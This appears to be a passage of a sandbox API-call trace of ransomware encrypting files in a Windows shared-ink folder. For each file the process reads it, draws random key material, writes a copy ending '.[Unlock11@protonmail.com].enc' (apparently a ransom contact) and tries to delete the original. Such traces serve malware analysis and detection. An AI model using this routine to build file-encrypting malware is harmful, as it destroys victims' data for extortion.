HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.614] GetLastError () returned 0x0 [0122.614] GetLastError () returned 0x0 [0122.614] GetLastError () returned 0x0 [0122.614] GetLastError () returned 0x0 [0122.614] GetLastError () returned 0x0 [0122.614] GetLastError () returned 0x0 [0122.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8668 | out: hHeap=0x2ad0000) returned 1 [0122.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.615] GetLastError () returned 0x0 [0122.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.616] CloseHandle (hObject=0x3ac) returned 1 [0122.616] GetLastError () returned 0x0 [0122.616] GetCurrentThreadId () returned 0x9b0 [0122.616] GetLastError () returned 0x0 [0122.616] GetLastError () returned 0x0 [0122.616] CloseHandle (hObject=0x39c) returned 1 [0122.618] GetLastError () returned 0x0 [0122.618] GetCurrentThreadId () returned 0x9b0 [0122.618] GetLastError () returned 0x0 [0122.618] GetLastError () returned 0x0 [0122.618] GetLastError () returned 0x0 [0122.618] GetLastError () returned 0x0 [0122.618] GetLastError () returned 0x0 [0122.618] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0 [0122.619] GetLastError () returned 0x5 [0122.619] GetCurrentThreadId () returned 0x9b0 [0122.619] GetLastError () returned 0x5 [0122.619] GetLastError () returned 0x5 [0122.619] GetLastError () returned 0x5 [0122.619] GetLastError () returned 0x5 [0122.619] LocalFree (hMem=0x1053a70) returned 0x0 [0122.619] GetCurrentThreadId () returned 0x9b0 [0122.619] GetLastError () returned 0x5 [0122.619] GetLastError () returned 0x5 [0122.619] GetLastError () returned 0x5 [0122.620] GetLastError () returned 0x5 [0122.620] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpFilePart=0x9bada4*="base_altgr.xml") returned 0x54 [0122.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.620] GetCurrentThreadId () returned 0x9b0 [0122.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.620] GetLastError () returned 0x0 [0122.620] GetLastError () returned 0x0 [0122.621] GetLastError () returned 0x0 [0122.621] GetLastError () returned 0x0 [0122.621] GetCurrentThreadId () returned 0x9b0 [0122.621] GetLastError () returned 0x0 [0122.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.621] GetCurrentThreadId () returned 0x9b0 [0122.621] GetLastError () returned 0x0 [0122.621] GetLastError () returned 0x0 [0122.621] GetLastError () returned 0x0 [0122.621] GetLastError () returned 0x0 [0122.622] GetCurrentThreadId () returned 0x9b0 [0122.622] GetLastError () returned 0x0 [0122.622] GetLastError () returned 0x0 [0122.622] GetLastError () returned 0x0 [0122.622] GetLastError () returned 0x0 [0122.622] GetLastError () returned 0x0 [0122.622] GetCurrentThreadId () returned 0x9b0 [0122.622] GetLastError () returned 0x0 [0122.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.622] GetLastError () returned 0x0 [0122.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0122.623] GetLastError () returned 0x0 [0122.623] GetLastError () returned 0x0 [0122.623] GetLastError () returned 0x0 [0122.623] GetCurrentThreadId () returned 0x9b0 [0122.623] GetLastError () returned 0x0 [0122.623] GetLastError () returned 0x0 [0122.623] GetLastError () returned 0x0 [0122.623] GetLastError () returned 0x0 [0122.623] GetLastError () returned 0x0 [0122.623] GetCurrentThreadId () returned 0x9b0 [0122.623] GetLastError () returned 0x0 [0122.623] GetCurrentThreadId () returned 0x9b0 [0122.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0122.624] GetLastError () returned 0x0 [0122.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0122.624] GetLastError () returned 0x0 [0122.624] GetLastError () returned 0x0 [0122.624] GetLastError () returned 0x0 [0122.624] GetCurrentThreadId () returned 0x9b0 [0122.624] GetLastError () returned 0x0 [0122.624] GetLastError () returned 0x0 [0122.624] GetLastError () returned 0x0 [0122.624] GetLastError () returned 0x0 [0122.625] GetLastError () returned 0x0 [0122.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.625] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4)) returned 1 [0122.625] GetLastError () returned 0x0 [0122.625] GetCurrentThreadId () returned 0x9b0 [0122.625] GetLastError () returned 0x0 [0122.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0122.625] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0122.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0122.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0122.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0122.626] GetCurrentThreadId () returned 0x9b0 [0122.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.626] GetLastError () returned 0x0 [0122.626] GetLastError () returned 0x0 [0122.626] GetLastError () returned 0x0 [0122.626] GetLastError () returned 0x0 [0122.626] GetCurrentThreadId () returned 0x9b0 [0122.626] GetLastError () returned 0x0 [0122.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.627] GetCurrentThreadId () returned 0x9b0 [0122.627] GetLastError () returned 0x0 [0122.627] GetLastError () returned 0x0 [0122.627] GetLastError () returned 0x0 [0122.627] GetLastError () returned 0x0 [0122.627] GetCurrentThreadId () returned 0x9b0 [0122.627] GetLastError () returned 0x0 [0122.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6bf8 [0122.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5360 | out: hHeap=0x2ad0000) returned 1 [0122.627] GetLastError () returned 0x0 [0122.628] GetLastError () returned 0x0 [0122.628] GetLastError () returned 0x0 [0122.628] GetLastError () returned 0x0 [0122.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c38 [0122.628] GetLastError () returned 0x0 [0122.628] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.628] GetFileType (hFile=0x39c) returned 0x1 [0122.628] GetLastError () returned 0x0 [0122.629] GetCurrentThreadId () returned 0x9b0 [0122.629] GetLastError () returned 0x0 [0122.629] GetFileType (hFile=0x39c) returned 0x1 [0122.629] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.629] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.629] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.629] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.629] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.629] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.629] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.629] GetLastError () returned 0x0 [0122.629] GetCurrentThreadId () returned 0x9b0 [0122.629] GetLastError () returned 0x0 [0122.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0122.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0122.630] GetLastError () returned 0x0 [0122.630] GetLastError () returned 0x0 [0122.630] GetLastError () returned 0x0 [0122.630] GetLastError () returned 0x0 [0122.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c38 [0122.630] GetLastError () returned 0x0 [0122.630] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.631] GetFileType (hFile=0x3ac) returned 0x1 [0122.631] GetLastError () returned 0x0 [0122.631] GetCurrentThreadId () returned 0x9b0 [0122.631] GetLastError () returned 0x0 [0122.631] GetFileType (hFile=0x3ac) returned 0x1 [0122.631] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.631] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.631] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.631] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.631] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.632] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.632] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.632] GetLastError () returned 0x0 [0122.632] GetCurrentThreadId () returned 0x9b0 [0122.632] GetLastError () returned 0x0 [0122.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0122.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbc90 | out: hHeap=0x2ad0000) returned 1 [0122.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0122.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] GetLastError () returned 0x0 [0122.633] GetCurrentThreadId () returned 0x9b0 [0122.633] GetLastError () returned 0x0 [0122.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] GetLastError () returned 0x0 [0122.633] GetCurrentThreadId () returned 0x9b0 [0122.633] GetLastError () returned 0x0 [0122.633] GetLastError () returned 0x0 [0122.635] GetLastError () returned 0x0 [0122.635] GetCurrentThreadId () returned 0x9b0 [0122.635] GetLastError () returned 0x0 [0122.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.635] GetCurrentThreadId () returned 0x9b0 [0122.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xde8) returned 0x38273e0 [0122.636] GetLastError () returned 0x0 [0122.636] GetLastError () returned 0x0 [0122.636] GetLastError () returned 0x0 [0122.636] GetLastError () returned 0x0 [0122.636] GetCurrentThreadId () returned 0x9b0 [0122.636] GetLastError () returned 0x0 [0122.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0122.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0122.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] GetLastError () returned 0x0 [0122.637] GetCurrentThreadId () returned 0x9b0 [0122.637] GetLastError () returned 0x0 [0122.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38281d0 | out: hHeap=0x2ad0000) returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9338 [0122.637] GetLastError () returned 0x0 [0122.637] GetLastError () returned 0x0 [0122.637] GetCurrentThreadId () returned 0x9b0 [0122.637] GetLastError () returned 0x0 [0122.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9338 | out: hHeap=0x2ad0000) returned 1 [0122.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.637] GetLastError () returned 0x0 [0122.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.639] CloseHandle (hObject=0x3ac) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] GetCurrentThreadId () returned 0x9b0 [0122.639] GetLastError () returned 0x0 [0122.639] GetLastError () returned 0x0 [0122.639] CloseHandle (hObject=0x39c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] GetCurrentThreadId () returned 0x9b0 [0122.639] GetLastError () returned 0x0 [0122.639] GetLastError () returned 0x0 [0122.640] GetLastError () returned 0x0 [0122.640] GetLastError () returned 0x0 [0122.640] GetLastError () returned 0x0 [0122.640] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0 [0122.640] GetLastError () returned 0x5 [0122.640] GetCurrentThreadId () returned 0x9b0 [0122.640] GetLastError () returned 0x5 [0122.640] GetLastError () returned 0x5 [0122.640] GetLastError () returned 0x5 [0122.641] GetLastError () returned 0x5 [0122.641] LocalFree (hMem=0x1053c70) returned 0x0 [0122.641] GetCurrentThreadId () returned 0x9b0 [0122.641] GetLastError () returned 0x5 [0122.641] GetLastError () returned 0x5 [0122.641] GetLastError () returned 0x5 [0122.641] GetLastError () returned 0x5 [0122.641] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x9bada4*="base_ca.xml") returned 0x51 [0122.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.641] GetCurrentThreadId () returned 0x9b0 [0122.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0122.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0122.642] GetLastError () returned 0x0 [0122.642] GetLastError () returned 0x0 [0122.642] GetLastError () returned 0x0 [0122.642] GetLastError () returned 0x0 [0122.642] GetCurrentThreadId () returned 0x9b0 [0122.642] GetLastError () returned 0x0 [0122.642] GetCurrentThreadId () returned 0x9b0 [0122.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0122.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.643] GetCurrentThreadId () returned 0x9b0 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.643] GetLastError () returned 0x0 [0122.644] GetCurrentThreadId () returned 0x9b0 [0122.644] GetLastError () returned 0x0 [0122.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028378 | out: hHeap=0x2ad0000) returned 1 [0122.644] GetLastError () returned 0x0 [0122.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0122.644] GetLastError () returned 0x0 [0122.644] GetLastError () returned 0x0 [0122.644] GetLastError () returned 0x0 [0122.644] GetCurrentThreadId () returned 0x9b0 [0122.644] GetCurrentThreadId () returned 0x9b0 [0122.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a568 [0122.645] GetCurrentThreadId () returned 0x9b0 [0122.645] GetCurrentThreadId () returned 0x9b0 [0122.645] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9)) returned 1 [0122.645] GetCurrentThreadId () returned 0x9b0 [0122.645] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: pbBuffer=0x3668a0c) returned 1 [0122.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0122.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0122.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0122.646] GetCurrentThreadId () returned 0x9b0 [0122.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.646] GetCurrentThreadId () returned 0x9b0 [0122.646] GetCurrentThreadId () returned 0x9b0 [0122.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0122.646] GetCurrentThreadId () returned 0x9b0 [0122.647] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.647] GetFileType (hFile=0x39c) returned 0x1 [0122.647] GetCurrentThreadId () returned 0x9b0 [0122.647] GetFileType (hFile=0x39c) returned 0x1 [0122.647] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.647] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.647] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.648] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.649] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.649] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.649] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.649] GetLastError () returned 0x0 [0122.649] GetCurrentThreadId () returned 0x9b0 [0122.649] GetLastError () returned 0x0 [0122.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0122.650] GetCurrentThreadId () returned 0x9b0 [0122.650] GetLastError () returned 0x0 [0122.650] GetLastError () returned 0x0 [0122.650] GetLastError () returned 0x0 [0122.650] GetLastError () returned 0x0 [0122.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c48 [0122.651] GetLastError () returned 0x0 [0122.651] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.651] GetFileType (hFile=0x3ac) returned 0x1 [0122.651] GetLastError () returned 0x0 [0122.651] GetCurrentThreadId () returned 0x9b0 [0122.651] GetLastError () returned 0x0 [0122.652] GetFileType (hFile=0x3ac) returned 0x1 [0122.652] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.652] GetLastError () returned 0x0 [0122.652] GetCurrentThreadId () returned 0x9b0 [0122.652] GetLastError () returned 0x0 [0122.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c48 | out: hHeap=0x2ad0000) returned 1 [0122.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.653] GetLastError () returned 0x0 [0122.653] GetLastError () returned 0x0 [0122.653] GetCurrentThreadId () returned 0x9b0 [0122.653] GetLastError () returned 0x0 [0122.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.653] GetLastError () returned 0x0 [0122.653] GetLastError () returned 0x0 [0122.653] GetCurrentThreadId () returned 0x9b0 [0122.654] GetLastError () returned 0x0 [0122.654] GetLastError () returned 0x0 [0122.655] GetLastError () returned 0x0 [0122.655] GetCurrentThreadId () returned 0x9b0 [0122.655] GetLastError () returned 0x0 [0122.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xde8) returned 0x38273e0 [0122.656] GetLastError () returned 0x0 [0122.656] GetLastError () returned 0x0 [0122.656] GetLastError () returned 0x0 [0122.656] GetLastError () returned 0x0 [0122.656] GetCurrentThreadId () returned 0x9b0 [0122.656] GetLastError () returned 0x0 [0122.656] GetCurrentThreadId () returned 0x9b0 [0122.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xde5) returned 0x38281d0 [0122.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.657] GetLastError () returned 0x0 [0122.657] GetLastError () returned 0x0 [0122.657] GetCurrentThreadId () returned 0x9b0 [0122.657] GetLastError () returned 0x0 [0122.657] 